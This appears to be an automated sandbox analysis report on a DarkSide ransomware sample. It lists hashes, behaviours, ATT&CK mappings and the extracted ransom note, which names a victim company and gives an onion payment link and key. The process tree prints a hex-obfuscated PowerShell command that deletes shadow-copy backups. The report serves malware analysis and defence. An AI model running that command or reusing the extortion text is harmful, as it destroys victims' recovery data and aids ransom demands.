Overview

overview

10

Static

static

243dff06fc...in.exe

windows7_x64

10

243dff06fc...in.exe

windows10_x64

10

Analysis

  • max time kernel
    15s
  • max time network
    66s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    16-01-2021 16:12

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General

  • Target

    243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.bin.exe

  • Size

    59KB

  • MD5

    0ed51a595631e9b4d60896ab5573332f

  • SHA1

    7ae73b5e1622049380c9b615ce3b7f636665584b

  • SHA256

    243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60

  • SHA512

    9bfd6318b120c05d9a42a456511efc59f2be5ad451baa6d19d5de776e2ff74dbee444c85478ee7cfdbf705517cc147cd64c6814965f76c740fe1924594a37cb5

Score
10/10
ransomwarespyware

Malware Config

Extracted

Path

C:\\README.13f17753.TXT

Ransom Note
----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW

Signatures

  • Modifies extensions of user files 16 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spyware
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Modifies Control Panel 1 IoCs
    evasion
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.bin.exe"
    1⤵
    • Modifies extensions of user files
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1140
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1584
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:936

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

Credential Access

Credentials in Files

1
T1081

Discovery

Lateral Movement

Collection

Data from Local System

1
T1005

Exfiltration

Command and Control

Impact

Defacement

1
T1491

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    MD5

    010c219c46b4439bc787644989e20389

    SHA1

    f3a63066ab4446458bd6417386777e39e09b9b25

    SHA256

    2a7c264d94398912c720de578b6d959b2457582182b8f2cc98281f27ef6701aa

    SHA512

    c6967d2a37b9a45f491138b638d99e5fa09ef38f680c887bfbc2336c683deae86f4d6626f6defc8c0aabccf545923a708df05825de8102086a8f333a58e74963

    Download Submit
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    MD5

    dc7fea20798126457bee02ede3690164

    SHA1

    abfc2ec2d1c29bcf7deedb1cbcd864108eff9d02

    SHA256

    64e4a1402bcd5107f23949a98b608c108856a5da1f08ec016aad39425fb0d6ae

    SHA512

    1d8c1f9db7d8a17dddb005407f49a47bae3400b8d0f091653e7b22d5fdeb083c9749e018debdd8c9b2d7b7d4767b2a6455c693c09ba8c29c36dca43a553ec650

    Download Submit
  • memory/1584-2-0x0000000000000000-mapping.dmp
    Download
  • memory/1584-3-0x00007FFB55FB0000-0x00007FFB5699C000-memory.dmp
    Filesize

    9.9MB

    Download
  • memory/1584-4-0x000001B2FA430000-0x000001B2FA431000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1584-5-0x000001B2FD0D0000-0x000001B2FD0D1000-memory.dmp
    Filesize

    4KB

    Download